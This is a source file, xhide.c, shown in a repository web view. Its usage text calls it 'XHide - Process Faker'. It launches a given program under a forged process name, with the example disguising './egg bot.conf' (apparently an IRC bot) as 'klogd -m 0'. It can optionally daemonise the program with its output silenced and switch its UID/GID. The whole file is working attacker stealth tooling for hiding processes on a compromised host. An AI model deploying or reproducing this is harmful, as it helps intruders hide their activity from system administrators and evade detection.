modified: n.fq
[GalaxyCodeBases.git] / etc / Server / hiding / xhide.c
blobd825f8af3e921cbed74edbdf6af3d9c8eb6a459a
1 #include <stdio.h>
2 #include <unistd.h>
3 #include <sys/stat.h>
4 #include <sys/types.h>
5 #include <string.h>
6 #include <fcntl.h>
7 #include <pwd.h>
8 #include <grp.h>
10 void usage(char *progname);
12 int changeown (char *str)
14 char user[256], *group;
15 struct passwd *pwd;
16 struct group *grp;
18 uid_t uid;
19 gid_t gid;
21 memset(user, '\0', sizeof(user));
22 strncpy(user, str, sizeof(user));
24 for (group = user; *group; group++)
25 if (*group == ':')
27 *group = '\0';
28 group++;
29 break;
32 if (pwd = getpwnam(user))
35 uid = pwd->pw_uid;
36 gid = pwd->pw_gid;
37 } else uid = (uid_t) atoi(user);
39 if (*group)
40 if (grp = getgrnam(group)) gid = grp->gr_gid;
41 else gid = (gid_t) atoi(group);
43 if (setgid(gid)) {
44 perror("Error: Can't set GID");
45 return 0;
48 if (setuid(uid))
50 perror("Error: Can't set UID");
51 return 0;
54 return 1;
57 char *fullpath(char *cmd)
59 char *p, *q, *filename;
60 struct stat st;
62 if (*cmd == '/')
63 return cmd;
65 filename = (char *) malloc(256);
67 if (*cmd == '.')
68 if (getcwd(filename, 255) != NULL)
70 strcat(filename, "/");
71 strcat(filename, cmd);
72 return filename;
74 else
75 return NULL;
77 for (p = q = (char *) getenv("PATH"); q != NULL; p = ++q)
79 if (q = (char *) strchr(q, ':'))
80 *q = (char) '\0';
82 snprintf(filename, 256, "%s/%s", p, cmd);
84 if (stat(filename, &st) != -1
85 && S_ISREG(st.st_mode)
86 && (st.st_mode&S_IXUSR || st.st_mode&S_IXGRP || st.st_mode&S_IXOTH))
87 return filename;
89 if (q == NULL)
90 break;
93 free(filename);
95 return NULL;
99 void usage(char *progname)
101 fprintf(stderr, "XHide - Process Faker, by Schizoprenic "
102 "Xnuxer Research (c) 2002\n\nOptions:\n"
104 "-s string\tFake name process\n"
105 "-d\t\tRun aplication as daemon/system (optional)\n"
106 "-u uid[:gid]\tChange UID/GID, use another user (optional)\n"
107 "-p filename\tSave PID to filename (optional)\n\n"
109 "Example: %s -s \"klogd -m 0\" -d -p test.pid ./egg bot.conf\n\n",progname);
111 exit(1);
114 int main(int argc,char **argv)
116 char c;
117 char fake[256];
118 char *progname, *fakename;
119 char *pidfile, *fp;
120 char *execst;
122 FILE *f;
124 int runsys=0, null;
125 int j,i,n,pidnum;
126 char **newargv;
128 progname = argv[0];
129 if(argc<2) usage(progname);
131 for (i = 1; i < argc; i++)
133 if (argv[i][0] == '-')
134 switch (c = argv[i][1])
137 case 's': fakename = argv[++i]; break;
138 case 'u': changeown(argv[++i]); break;
139 case 'p': pidfile = argv[++i]; break;
140 case 'd': runsys = 1; break;
142 default: usage(progname); break;
144 else break;
147 if (!(n = argc - i) || fakename == NULL) usage(progname);
149 newargv = (char **) malloc(n * sizeof(char **) + 1);
150 for (j = 0; j < n; i++,j++) newargv[j] = argv[i];
151 newargv[j] = NULL;
153 if ((fp = fullpath(newargv[0])) == NULL) { perror("Full path seek"); exit(1); }
154 execst = fp;
156 if (n > 1)
158 memset(fake, ' ', sizeof(fake) - 1);
159 fake[sizeof(fake) - 1] = '\0';
160 strncpy(fake, fakename, strlen(fakename));
161 // Kent, this is the key point.. keke
162 newargv[0] = fake;
163 /*for (int i = 1; i < n; i++) newargv[i] = "";*/
165 else newargv[0] = fakename;
167 if (runsys)
169 if ((null = open("/dev/null", O_RDWR)) == -1)
171 perror("Error: /dev/null");
172 return -1;
175 switch (fork())
177 case -1:
178 perror("Error: FORK-1");
179 return -1;
181 case 0:
182 setsid();
183 switch (fork())
186 case -1:
187 perror("Error: FORK-2");
188 return -1;
190 case 0:
191 umask(0);
192 close(0);
193 close(1);
194 close(2);
195 dup2(null, 0);
196 dup2(null, 1);
197 dup2(null, 2);
199 break;
201 default:
202 return 0;
204 break;
205 default:
206 return 0;
210 waitpid(-1, (int *)0, 0);
211 pidnum = getpid();
213 if (pidfile != NULL && (f = fopen(pidfile, "w")) != NULL)
215 fprintf(f, "%d\n", pidnum);
216 fclose(f);
219 fprintf(stderr,"==> Fakename: %s PidNum: %d\n",fakename,pidnum);
220 execv(execst, newargv);
221 perror("Couldn't execute");
222 return -1;